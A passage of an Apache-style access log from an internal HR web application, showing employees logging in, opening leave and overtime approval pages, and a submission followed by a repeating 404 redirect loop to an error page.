(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:10:47:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:47:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [03/Dec/2025:10:47:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.108 - - [03/Dec/2025:10:58:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:58:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:58:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:58:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [03/Dec/2025:10:58:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:58:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.12.69 - - [03/Dec/2025:11:01:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:11:01:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [03/Dec/2025:11:01:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:11:01:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.136 - - [03/Dec/2025:11:01:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:01:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.136 - - [03/Dec/2025:11:01:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:01:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:01:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:01:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.136 - - [03/Dec/2025:11:02:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.136 - - [03/Dec/2025:11:02:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20574 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20574 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132708%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132708&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132708%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132708&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:27 +0800] "GET 